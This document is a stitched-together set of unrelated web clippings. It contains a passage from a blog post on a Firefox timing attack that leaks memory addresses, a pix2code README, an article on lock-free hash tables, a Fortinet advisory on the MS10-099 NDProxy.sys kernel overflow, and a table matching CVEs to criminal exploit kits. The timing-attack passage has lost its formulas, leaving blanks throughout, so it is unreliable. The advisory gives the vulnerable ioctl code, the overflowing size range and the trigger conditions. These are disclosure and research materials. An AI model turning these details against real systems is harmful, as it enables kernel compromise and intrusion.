<img src='img/layout.png' />

Yellow slots are taken, white are free. We have to leave some free space,
since FF grows / shrinks tables dynamically, basing on the number of taken
slots.

If we keep generating JS objects \(with different pointers\) and trying to
look them up in , we will finally find one that takes considerably longer than
others to lookup. Let’s call this object \(M – max., str – string, since we
are using strings \(atoms, to be more precise\) in POC\) and the lookup time
of : .

Here’s an example of a long chain for \(Firefox uses subtraction instead of
addition while hashing\):

<img src='img/mstr1.png' />

In this example .

In order to find , we will use the observation that divides for any \(this
isn’t always true, but I’ll omit the second case for brevity\). Indeed, = = .
If we collect enough of chain’s elements, we can calculate their differences
and take . This equality holds with high probability — chance of failure
decreases exponentially with the number of collected elements \(the most
significant term of the exact formula is \).

How to find elements on ‘s chain? Remember that keys used to fill are
integers. We can remove a key and check if changed significantly. If it did,
we know for shure that the removed key belongs to the chain.

Here’s an example:

<img src='img/removed.png' />

We removed and this caused , so the lookup time after removal \(\) is going to
be lower than . In order to deal with inaccuracies of the JS clock \(Date
object\), we will accept only elements for which , so we are reducing our
interest to the first half of the chain \(red line on the diagram above\).
Without this restriction we would be unable to distinguish between keys that
don’t belong to the chain and keys at the very end of it.

Obviously, removing keys one by one is too slow. Removing them in chunks in a
bisect-like manner is better, but still has the running time proportional to .
It’s faster to use a randomized algorithm. Let’s say we chose random elements
to remove. Probability that we failed to hit any element of ‘s chain is . The
exponent is working in our favor, but we need to estimate somehow, so that we
don’t waste too much time — is as good as , but the second requires greater ,
so more elements to test.

We can estimate by collecting **integers** with increasingly long chains, and
using their lookup times to create a linear regression model \[3\]. Model will
provide a linear function that interpolates collected data. Estimating is then
a matter of evaluating . Below is an example of collected data points and a
linear function that fits them best. Y axis is time and X is the chain’s
length.

<img src='img/fit.png' />

Having we can pick so that for any . After we finally pick , we chose random
keys and remove them. If dropped below , it means that in the set we chose,
there’s at least one key that belongs to the first part of the chain — we need
to find it. In order to do so, we bisect the set of removed keys until only
one is left. Running time: , if we disregard time necessary to add / remove
keys from .

After collecting enough \(8 in POC\) elements of chain, we compute . The only
thing left is to find — the starting point.

Recall ‘s layout:

<img src='img/mstr1.png' />

Consider how changes, when removing two keys: and — we remove them separately
and then measure .

\- if we remove 5 or 7, will not change, since 5, 7 do not belong to ‘s chain,  
  
\- removing 4 or 6 will cause , since 4 and 6 are in the first half of chain,  
  
\- removing 8 will cause and removing 10 will have no effect on .

These 3 conditions are sufficient to recognize if we are inside, outside, or
and the edge of chain.

Algorithm to detect the starting point is simple. Start from element for which
is smallest \(so it’s the closest element to starting point\). With we found
earlier, do a binary search using the criteria above \(inside, outside, hit\)
until hitting the edge \(starting point\).

With and it’s possible to recover , which equals to .

## **FIN**

This is a simplified description. There’s quite a lot of details that were
omitted in this post for brevity, but are required for this trick to work.

I suspect \(this type of\) timing attacks will be useful for leaking
information not only from browsers. The most likely candidates seem to be
kernels and perhaps even remote servers. \(EDIT: I mean this in ASLR context,
not secret-password context\).

Here’s the POC. Download all files and open lol.html \(in Firefox <img
src='img/6445_icon_wink.gif' alt=';)' /> \) to see how it works. POC was
tested on xp, w7 and linux. Send me an email if it doesn’t work for you.

1\. http://en.wikipedia.org/wiki/Timing\_attack  
  
2\. http://en.wikipedia.org/wiki/Double\_hashing  
  
3\. http://en.wikipedia.org/wiki/Linear\_regression

<img src='img/6423_latex.php' /><img src='img/6407_latex.php' /><img
src='img/6434_latex.php' /><img src='img/6413_latex.php' /><img
src='img/6438_latex.php' /><img src='img/6424_latex.php' /><img
src='img/6416_latex.php' /><img src='img/6401_latex.php' /><img
src='img/6412_latex.php' /><img src='img/6439_latex.php' /><img
src='img/6443_latex.php' /><img src='img/6440_latex.php' /><img
src='img/6427_latex.php' /><img src='img/6403_latex.php' /><img
src='img/6442_latex.php' /><img src='img/6432_latex.php' /><img
src='img/6414_latex.php' /><img src='img/6402_latex.php' /><img
src='img/6417_latex.php' /><img src='img/6418_latex.php' /><img
src='img/6400_latex.php' /><img src='img/6421_latex.php' /><img
src='img/6437_latex.php' /><img src='img/6446_latex.php' /><img
src='img/6419_latex.php' /><img src='img/6419_latex.php' /><img
src='img/6426_latex.php' /><img src='img/6415_latex.php' /><img
src='img/6394_latex.php' /><img src='img/6411_latex.php' /><img
src='img/6435_latex.php' /><img src='img/6436_latex.php' /><img
src='img/6395_latex.php' /><img src='img/6396_latex.php' /><img
src='img/6408_latex.php' /><img src='img/6428_latex.php' /><img
src='img/6398_latex.php' /><img src='img/6404_latex.php' /><img
src='img/6425_latex.php' /><img src='img/6420_latex.php' /><img
src='img/6406_latex.php' /><img src='img/6429_latex.php' /><img
src='img/6399_latex.php' /><img src='img/6444_latex.php' /><img
src='img/6405_latex.php' /><img src='img/6422_latex.php' />

# tonybeltramelli/pix2code

**Created:**| _5/28/2017 11:08:21 AM_  
---|---  
**Updated:**| _5/28/2017 11:08:21 AM_  
**Author:**| __  
**Tags:**| _bookmark code-review code-gen_  
  

  

###  README.md

# pix2code

_Generating Code from a Graphical User Interface Screenshot_

<img
src='img/687474703a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d415041434845322d626c75652e737667'
width='108' height='20' alt='License' />

  * A video demo of the system can be seen here
  * The paper is available at https://arxiv.org/abs/1705.07962
  * Official research page: https://uizard.io/research\#pix2code

## Abstract

Transforming a graphical user interface screenshot created by a designer into
computer code is a typical task conducted by a developer in order to build
customized software, websites and mobile applications. In this paper, we show
that Deep Learning techniques can be leveraged to automatically generate code
given a graphical user interface screenshot as input. Our model is able to
generate code targeting three different platforms \(i.e. iOS, Android and web-
based technologies\) from a single input image with over 77% of accuracy.

## Citation

[code]

    @article{beltramelli2017,
      title={pix2code: Generating Code from a Graphical User Interface Screenshot},
      author={Beltramelli, Tony},
      journal={arXiv preprint arXiv:1705.07962},
      year={2017}
    }
    
[/code]

## Current status

To foster future research, our datasets consisting of both GUI screenshots and
associated source code for three different platforms \(ios, android, web-
based\) will be made freely available on this repository later this year. Stay
tuned\!

  

# Fast Bounded-Concurrency Hash Tables - Backtrace I/O

**Created:**| _3/14/2015 11:01:39 AM_  
---|---  
**Updated:**| _3/14/2015 11:01:39 AM_  
**Author:**| __  
**Tags:**| __  
  
  

# Fast Bounded-Concurrency Hash Tables

Mar 13th, 2015 3:43 pm

Non-blocking data structures and their benefits often come at the cost of
increased latency because they require additional complexity in the common
case. There are plenty of exceptions to this if the requirements of the data
structure are relaxed, such as supporting only a bounded level of write or
read concurrency.

For this reason, well-designed specialized non-blocking data structures
guarantee improved resiliency, throughput and latency in all cases compared to
alternatives relying on traditional blocking synchronization primitives such
as read-write locks. Specialized concurrent structures are common place in the
Linux kernel and other performance critical systems.

This article introduces a general technique for achieving single-writer many-
reader lock-free and wait-free hash tables at low to negligible cost. The
resulting hash table requires no barriers \(fences\) or locked instructions on
architectures such as x86/x86-64. Read operations are lock-free and write
operations are wait-free. The write operations are linearized \(“correct”\)
with respect to readers. If incomplete write operations across processors must
be supported then the necessary modifications are mentioned. Architectures
with relaxed memory models still require barriers.

Efficient implementations of this mechanism for a cache-friendly double hashed
hash table, a robin hood hash set and a hash set have been available in
Concurrency Kit under the BSD license for a few years now. Hash tables relying
on this transformation have seen more than 3 quadrillion transactions over the
internet \(and counting\) across a diverse workload. This technique is used in
a wide array of applications including the Backtrace database.

## Motivation

I started working on this problem because of a workload involving bursts of
dozens of millions of writes every few minutes and a constant stream of
latency bound read requests. For these reasons, I made sure to guarantee
system-wide forward progress and forward progress for conflict-free operations
in order to improve the flexibility of the data structure. Space efficiency
was also important as the target systems were especially memory constrained.
The mechanism allows efficient tombstones re-use and probe sequence
modification, desirable in long-lived workloads.

The state-of-the-art at the time only provided many-writer many-reader
\(MWMR\) hash table implementations that relied on chaining, CAS2 or complex
object re-use constraints. In addition to this, all of these implementations
provided MWMR-safety at the cost of increased memory and latency.

## Mechanism

By constraining concurrency, a lower overhead lock-free hash table is easily
achievable. This section introduces the mechanism with enough details to
understand the Concurrency Kit implementations as well as to adapt it to your
own data structures.

The hash table uses an open-addressed mechanism for collision resolution and
consists of an array of tuples `(k, v)` where `k` and `v` are words that
represent key and value respectively. These tuples are hash table buckets and
are referred to as slots from hereinafter. All slots are initialized to `(E,
E)`. `E` is a sentinel value that indicates an empty value \(no value\). `T`
indicates a tombstone. For demonstration purposes, slots are represented by
the following structure.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
[/code]

|

[code]

    struct slot {
        /*
         * The key field may be the key value or a reference to
         * the key value.
         */
        void *key;
    
        /*
         * The value field may be the value value or a reference to
         * the value value.
         */
        void *value;
    };
    
[/code]  
---|---  
The `key` and `value` fields must be read and written atomically, preferably
with regular load and store instructions. The hash table needs at least one
version counter. These counters can be striped arbitrarily as long as a slot
maps to exactly one version counter. A version counter is incremented when the
slot it maps to has a probe sequence modified or tombstone re-used. For
illustration purposes in this section, a single version counter called `D` is
used. The value of `D` is initially `0`. In the code below, an unsigned
integer is used for the version counter. If the unsigned integer is 32-bits,
it is possible for a read operation to observe an inconsistent value if it is
interrupted between 232 \(4,294,967,296\) write operations. If this is a
realistic concern for your workload, then use a 64-bit counter. For the
purposes of this article, assume that the version counter does not overflow.

The following functions are used in the examples:

  * `ck_pr_load_ptr` atomically loads a pointer value from the object referred to by the first argument.
  * `ck_pr_store_ptr` atomically stores a pointer into the object referred to by the first argument.
  * `ck_pr_store_uint` atomically stores an unsigned integer value into the object referred to by the first argument.
  * `ck_pr_load_uint` atomically loads an unsigned integer from the object referred to by the first argument.
  * `ck_pr_fence_load` is a load-load fence.
  * `ck_pr_fence_store` is a store-store fence.

These functions are not re-ordered by the compiler. The load and store fences
are all unnecessary on TSO architectures such as x86-64. If full fences are
mentioned then they are also required on TSO architectures, in absence of
modifications. These fences are not needed in pure single writer environments.

### Resize

In a single-writer scenario, the resize operation is simple. The old array is
copied into a new, resized, array and then the old array is logically deleted.
The old array is destroyed using your preferred safe memory reclamation
mechanism. If linearizability is required with respect to write operations
that may execute on other processors \(due to early termination for example\)
then a full fence is required.

### Get

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
[/code]

|

[code]

    get(struct slot *result, void *key)
    {
      unsigned int d, d_p;
    
      do {
          d = ck_pr_load_uint(&D);
          ck_pr_fence_load();
          search(result, key);
          ck_pr_fence_load();
          d_p = ck_pr_load_uint(&D);
      } while (d != d_p);
    
      return;
    }
    
[/code]  
---|---  
The version counter is observed before and after probing the hash table. The
reasons for reading the version counter are described later in this article.
The search function reads the contents of a slot using the following accesses:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
[/code]

|

[code]

    void
    search(struct slot *result, void *key)
    {
    
    [...]
    result->key = ck_pr_load_ptr(&slot->key);
    ck_pr_fence_load();
    result->value = ck_pr_load_ptr(&slot->value);
    [...]
    
[/code]  
---|---  
### Insert

On insertion, the `v` value is updated with an atomic store followed by an
atomic store to `k`. A newly initialized slot transitions from the `(E, E)`
state to a `(k, v)` state with an intermediate observable state of `(E, v)`.

[code]

    1
    2
    3
    
[/code]

|

[code]

    ck_pr_store_ptr(&slot->value, value);
    ck_pr_fence_store();
    ck_pr_store_ptr(&slot->key, key);
    
[/code]  
---|---  
Slots that contain tombstones are re-used in order to mitigate tombstone
accumulation and help keep probe sequence lengths short.

### Delete

[code]

    1
    2
    3
    4
    5
    6
    
[/code]

|

[code]

    ck_pr_store_ptr(&slot->key, T);
    ck_pr_fence_store();
    ck_pr_store_uint(&D, D + 1);
    
    /* Serialize version update with respect to re-use of slot. */
    ck_pr_fence_store();
    
[/code]  
---|---  
The only inconsistent states readers observe in the hash table involve
mutations to slots that contain a tombstone. In the following execution
history, a reader thread observes a stale key value.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
[/code]

|

[code]

    Thread 0 (reader)                     Thread 1 (writer)
    GET(key="apple")                      slot->key="apple", slot->value="fruit"
        k = ck_pr_load_ptr(&slot->key);   DELETE(key="apple")
        ck_pr_fence_load();                   ck_pr_store_ptr(&slot->key, T);
                                              ck_pr_fence_store();
                                              ck_pr_store_uint(&D, D + 1);
                                              ck_pr_fence_store();
                                          INSERT(key="carrot", value="vegetable")
                                              ck_pr_store_ptr(&slot->value, value);
                                              ck_pr_fence_store();
                                              ck_pr_store_ptr(&slot->key, key);
        v = ck_pr_load_ptr(&slot->value);
    
[/code]  
---|---  
The reader has observed the inconsistent `(k = "apple", v = "vegetable")`. In
order to address this, the version counter is read before and after the slot
read operations in `get`.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
[/code]

|

[code]

    Thread 0 (reader)                    Thread 1 (writer)
    GET(key="apple")                     slot->key="apple", slot->value="fruit"
        d=ck_pr_load_uint(&D);
        ck_pr_fence_load();
        k=ck_pr_load_ptr(&slot->key);    DELETE(key="apple")
        ck_pr_fence_load();                  ck_pr_store_ptr(&slot->key, T);
                                             ck_pr_fence_store();
                                             ck_pr_store_uint(&D, D + 1);
                                             ck_pr_fence_store();
                                         INSERT(key="carrot", value="vegetable")
                                             ck_pr_store_ptr(&slot->value, value);
                                             ck_pr_fence_store();
                                             ck_pr_store_ptr(&slot->key, key);
        v= ck_pr_load_ptr(&slot->value);
        ck_pr_fence_load();
        d_p = ck_pr_load_uint(&D);
        if (d != d_p)
            retry;
    
[/code]  
---|---  
Inconsistent slot states are only observable by concurrent `get` operations
that observe slots before deletion and after re-use. If slot re-use is
observed then the accompanied version counter update was ordered prior to it
\(line 9\). If `D + 1` is observed, then the slot key must be `T` or updated
`key` value \(which implies an up to date and consistent `value` field due to
the fence on line 12\). If old slot key and new value were observed, then the
old value of `D` must have been observed.

### Probe Sequence Modification

Some open-addressed hash tables require modification of an item’s probe
sequence. The versioning scheme described here allows for this, and is
utilized by Concurrency Kit hash tables to opportunistically reduce probe
sequence lengths.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
[/code]

|

[code]

    /* Original points to the original location of the slot. */
    struct slot *original;
    
    /* New points to the new location of the slot. */
    struct slot *new;
    
    /*
     * Insert a copy of the slot in a new location. The insertion
     * state machine is re-used.
     */
    ck_pr_store_ptr(&new->value, original->value);
    ck_pr_fence_store();
    ck_pr_store_ptr(&new->key, original->key);
    
    /*
     * If the version counter update is visible, then
     * so must the updated key-value slot.
     */
    ck_pr_fence_store();
    ck_pr_store_uint(&D, D + 1);
    ck_pr_fence_store();
    
    /*
     * If the original slot is re-used, or observed as deleted,
     * then the update to the version counter would be visible.
     */
    ck_pr_store_ptr(&original->key, T);
    ck_pr_fence_store();
    
    /*
     * If a subsequent value is observed due to tombstone re-use, then
     * so must the version counter update.
     */
    ck_pr_store_uint(&D, D + 1);
    ck_pr_fence_store();
    
[/code]  
---|---  
### Correctness

State-based reasoning is used to provide an informal but clear proof of
correctness. The states are represented as 3-tuples that are constituted by
the key, value and a version counter. The 3-tuple is always accessed in the
following manner by a reader:

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

    ck_pr_load_uint(&c); /* Read version counter. */
    ck_pr_fence_load();
    ck_pr_load_ptr(&a);  /* Read key field. */
    ck_pr_fence_load();
    ck_pr_load_ptr(&b);  /* Read value field. */
    ck_pr_fence_load();
    ck_pr_load_uint(&c); /* Read version counter again. */
    
[/code]  
---|---  
The order of observation is defined as `(c, a, b)`. A reader may observe any
combination of values moving forward in the state machine. A read operation
conflicts with a write operation if the value of the version load in line 1
does not match the value of the version load in line 7.

#### Insertion

The state machine below illustrates the lifecycle of a slot as it transitions
from empty \(state 1\), to occupied \(state 3\), to deleted \(state 5\) and
then finally to occupied again \(state 7\).

<img src='img/Temp2_3101.png' width='660' height='386' alt='insertion' />

It is possible for a reader to observe an inconsistent slot but this is a
conflicting operation requiring a reader to retry the `get` operation. In the
state machine diagram above, consider `(k, v')` to be an inconsistent state in
that `(k,v')` was never inserted into the hash table. If the reader was to
observe the value `k` then the preceding load operation on the version counter
occurred on state 3 or 4. This means the reader has observed the version `D`.
In order for the reader to observe value `v'` then it must be that the version
is `D'`. This is because `v'` is only set after the version is set to `D'` in
state 5.

If the writer was to crash at any point during these operations, there are no
inconsistent slots and readers are only required to restart the load operation
once. Readers are linearized by the last load of a key field once the version
number check has passed. If linearizability is required between writers that
execute on different processors then a full fence is required. This scenario
may occur in situations where a writer may crash and then another writer \(on
another processor\) takes over the role of single writer.

#### Probe Sequence Modification

The requirement for movement is that the key-value pair remains consistent and
reachable by readers at all times until a delete operation. In addition to
this, re-use of the old slot is permitted at any point. A different
representation for the state machine is used here. The key-value pair in the
middle slot is being moved into the first slot. A shared version counter is
used here that is in the third slot position. The movement is achieved by
copying the middle pair into the first slot \(completed at state 3\),
incrementing the version counter \(completed after state 4\) and then marking
the old slot with a tombstone. The ordering of all these operations must be
retained.

<img src='img/Temp2_3102.png' width='608' height='145' alt='replace' />

If a reader observes the tombstone of state 5, then a subsequent load
operation on the version counter observes `D'`. If the load operation began
before the move operation completed, then `D` would have been observed. The
load operation retries in this situation since it has observed `D` and `D'`.
If the old slot is re-used, a conflicting load operation retries since it
observes both `D'` and `D''`. The final state in this machine is covered by
the first state machine diagram.

The above implementation is not linearized with respect to writers that
execute on different processors because the sequential specification of the
hash table is violated if termination occurs in states 3 or 4. If termination
safety and/or linearizability is a requirement then a full fence is required
to order the operations with respect to each other \(a writer must always
check for the presence of a previously failed operation and complete the
deletion on the old location\).

### Memory Ordering

This algorithm does not provide strong memory ordering guarantees. If an
implementation requires stronger ordering guarantees then synchronizing
instructions are required prior to the hash table operations. It is also
possible to amortize full barriers with barriers on the update and load path.

## Conclusion

There we are, a non-blocking SWMR hash table with no atomic operations or
memory barriers on the fast path for TSO that is linearized for the common
case. There are still avenues for improvement \(barrier deferral being one\)
and patches are welcome. If you require wait-free reads, then writer non-
blocking progress can be sacrificed in favor of grace periods instead of
version counter updates. For discussion please use Hacker News or Reddit.
Follow us at @0xCD03 if you found this interesting.

## Acknowledgments

Many thanks to Maged Michael, Mathieu Desnoyers, Olivier Houchard, Paul
Khuong, Paul McKenney, Theo Schlossnagle, Wez Furlong and the Backtrace Team
for helping make this article more readable.

__Tweet

 ____27

This page has been shared 27 times. View these Tweets.

39

Text authored by Samy Al Bahra

« High Thread Counts and Slow Process Maps

  

# Kernel Buffer Overflow in NDProxy.sys \(MS10-099\) | Fortinet Security Blog
**Created:**| _1/1/2011 10:50:30 AM_  
---|---  
**Updated:**| _1/1/2011 10:51:01 AM_  
**Author:**| __  
**Tags:**| _vulnerability Disclosure windows environment_  
  

# Kernel Buffer Overflow in NDProxy.sys \(MS10-099\)

by **Guillaume Lovet**  
December 28, 2010 at 12:56 pm

A couple of weeks ago, Microsoft patched the vulnerability MS10-099, which was
discovered by FortiGuard Labs’ resercher Honggang Ren. Since the patches are
likely all deployed by now, we’re happy to disclose more details about it,
based on Honggang’s inputs.

This vulnerability is a kernel buffer overflow which exists in **NDProxy.sys**
, a device driver interfacing mini-ports to the telephony API \(aka TAPI\).
The vulnerable code is brought up when issuing a DeviceIoControl call from
“userland” with control code 0x8ff23c8. This ioctl call is related to the TAPI
provider initialization.

Various functions within that ioctl call are vulnerable, but for the sake of
the example, let’s focus on the following code, belonging to function
PxTapiGetDevCaps:

[code]

    memory_copy_code:
    sub     ecx, edx
    mov     [ebp+var_608], ecx
    mov     ecx, edx **;; setting “counter”**
    shr     ecx, 2 **;; adjusting counter value to a number of dwords (not bytes)**
    mov     edi, eax **;; setting destination**
    rep movsd
    
    
[/code]

This is a typical memory copy operation, where rep movsd copies dwords
starting at address esi to the allocated memory space starting at address edi.
The number of dwords to copy is determined by ecx. Thus, if we can set the
value in ecx to what we want, we can overwrite memory beyond the buffer at
edi, and possibly gain control of the execution flow \(classical buffer
overflow situation\).

It happens to be the case here, as edi points inside the ioctl call’s input
buffer, and the value of the counter is taken from this very same buffer, as
shown by the code below, that sits right above our memory copy code:

\(Note: eax initially points the call’s input buffer, and ebx to a global
buffer\)

[code]

    mov     esi, [ebx+2Ch]
    mov     edx, [esi+8] **;; edx is loaded with value 0x1A8**
    add     eax, 2Ch
    mov     ecx, [eax] **;; ecx is loaded with the value at offset 0x2c in the input buffer**
    cmp     edx, ecx
    mov     [ebp+var_624], ecx
    jbe     memory_copy_code **;; jmp if edx <= ecx**
    mov     edx, ecx **;; swapping edx and ecx if ecx is smaller**
    memory_copy_code:
    ...
    
    
[/code]

What essentially happens here is that the value at offset 0×8 in a global
buffer is compared to the value at offset 0x2c in the ioctl call’s input
buffer, and the smaller one is kept in edx to be used as the counter value
when reaching the memory copy code. In the latter, eax is used to set the
destination of the memory copy, and we saw in the code above that it points to
offset 0x2c in the input buffer.

A more high level way to say this could be that there are two structures in
two buffers, of the form \[size\]\[data\], at offsets 0×8 and 0x2c \(see
figure below\), and what the memory copy code does is copying the one at
offset 0×8 into the one at offset 0x2c, stopping when the size of the smaller
of the two is reached.

The figure below sums up the memory layout of the two buffers:

[code]

    Pre-allocated global buffer:
        offset
    esi   0x8
    |     |
    V     V
    [ ... [size1][...data...] ... ]
    
    Call's input buffer:
    
        offset
         0x2c
          |
          V
    [ ... [size2][...data...] ... ]
          <-------- 0x128 -------->
    
    
[/code]

Where size1 is 0x1A8 and size2 is user-controlled \(it is in the input
buffer\).  
Thus if for instance an attacker sets size2 such that 0×128 < size2 < 0x1A8,
size2 will be kept in edx and used as the counter for the memory copy, which
will overwrite memory passed the buffer by an amount of \(size2 - 0x128\)
bytes.

Please note however that the vulnerable code we exposed above is reached only
under certain conditions:

  * The previous call to IsTapiDeviceValid must have returned true.
  * The device range constant \(offset 0x1c in input buffer\) is greater than 0×130
  * Global variable \_TspCB must be 0 \(can be reset if needed with ioctl code 0x8fff23c0\)

On a final note, besides the function GetDevCaps, the function GetAddressCaps
also contains a similar buffer overflow vulnerability.

  

# CVE Exploit kit

**Created:**| _1/5/2011 1:12:15 PM_  
---|---  
**Updated:**| _1/5/2011 1:12:39 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
CVE Exploit Kit list |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---  
| Mozilla Plugin Check |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
| Qualys BrowserCheck |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
| Secunia Online Software Inspector \(OSI\) |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE | Title | CrimePack | Phoenix | Eleonre | Fragus | Yes Exploit | Siberia | El Fiesta | Icepack | Mpack | WebAttacker | Impassioned | Liberty | Spack Lite | Neon | Unique | ZoPack | T-IFRAMER | LuckySploit | AdPack | Firepack | Tornado | Armitage | JustExploit | Neosploit | iPack y GOLOD | Napoleon Sploit | Bleeding Life | Zombie Kit | Seo Sploit | Lupid | Nuke sploits p4ck  
CVE-2000-0495 | Microsoft WME allows remote attackers to cause a denial of service via a malformed request | __ | __ | __ | __ | __ | __ | __ | __ | __ |  | __ | __ |  | __ | __ | __ | __ | __ | __ | __ | __ |  | __ | __ | __ | __ | __ | __ | __ |  |   
CVE-2003-0111 | MS03-011 - ByteCode Verifier component flaw in Microsoft VM |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  | Yes |  | Yes |  |  |  |  |  |  |  |  |  |   
CVE-2004-1043 | MS05-001 - HTML vulnerabilities |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2004-0380 | MS04-013 MHTML protocol handler in Microsoft Outlook Express 5.5 SP2 through Outlook Express 6 SP1 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2005-2127 | COM Object Instantiation Memory Corruption \(Msdss.dll\) |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2005-2265 | MFSA2005-50 - Firefox InstallVersion.compareTo |  |  | Yes |  |  |  |  |  |  | Yes | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2006-0003 | MS06-014 for IE6/Microsoft Data Access Components \(MDAC\) Remote Code Execution | Yes |  |  |  | Yes |  | Yes | Yes | Yes | Yes |  | Yes | Yes | Yes | Yes |  |  |  | Yes | Yes | Yes |  |  | Yes | Yes | Yes |  | Yes | Yes |  |   
CVE-2006-0005 | MS06-006 - Windows Media Player plug-in vulverability for Firefox & Opera |  |  | Yes |  |  |  |  | Yes | Yes | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |   
CVE-2006-1359 | MS06-013 - CreateTextRange |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2006-3643 | Microsoft Management Console \(MMC\) Redirect Cross-Site Scripting \(XSS\) vulnerability \(IE\) |  |  |  |  |  |  |  | Yes | Yes |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |   
CVE-2006-3677 | Firefox - JS navigator Object Code |  |  | Yes |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2006-3730 | WebViewFolderIcon \(IE\) |  |  |  |  |  |  | Yes | Yes | Yes |  |  |  |  |  |  |  |  |  |  |  | Yes | Yes |  | Yes |  |  |  |  |  |  |   
CVE-2006-4868 | MS06-055 - Windows Vector Markup Language Vulnerability |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  | Yes | Yes |  |  |  |  |  |  |  |  |  |   
CVE-2006-4777 | DirectAnimation ActiveX Controls Memory Corruption Vulnerability |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |   
CVE-2006-5559 | MS07-009 - IE6/Microsoft Data Access Components \(MDAC\) Remote Code Execution |  | Yes | Yes |  | Yes |  |  |  |  |  |  |  |  | Yes | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes | Yes  
CVE-2006-5745 | Microsoft XML Core Services Vulnerability |  |  |  |  |  |  | Yes |  |  |  |  |  | Yes |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |   
CVE-2006-5820 | AOL SuperBuddy ActiveX Control "LinkSBIcons\(\)" Vulnerability |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |   
CVE-2006-6884 | Winzip FileView ActiveX \(IE\) |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |   
CVE-2007-0015 | Apple QuickTime RTSP URL \(IE\) |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  | Yes |  |  |  |  |  |  |   
CVE-2007-0243 | Java GIF file parsing vulnerability |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |   
CVE-2007-0018 | NCTsoft NCTAudioFile2 ActiveX Control Remote Buffer Overflow Vulnerability |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |   
CVE-2007-0024 | Vector Markup Language Vulnerability \(IE\) |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2007-0071 | Integer overflow in Adobe Flash Player 9 |  | Yes |  | Yes |  |  |  |  |  |  | Yes |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |   
CVE-2007-2222 | Multiple buffer overflows in the \(1\) ActiveListen \(Xlisten.dll\) and \(2\) ActiveVoice \(Xvoice.dll\) speech controls |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |   
CVE-2007-3147/3148 | Yahoo\! Messenger Webcam \(IE\) |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |   
CVE-2007-4034 | Yahoo\! Widgets YDP \(IE\) |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2007-4336 | DirectX DirectTransform FlashPix ActiveX \(IE\) |  |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2007-5327 | CA BrightStor ARCserve Backup Multiple Vulnerability |  |  |  |  |  |  | Yes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
CVE-2007-5659/2008-0655 | PDF Exploit - collab. collectEmailInfo | Yes | Yes | Yes | Yes | Yes | Yes | Yes |  |  |  |  | Yes |  |  | Yes | Yes | Yes |  |  |  |  |  |  | Yes | Yes |  |  | Yes |  | Yes | Yes  
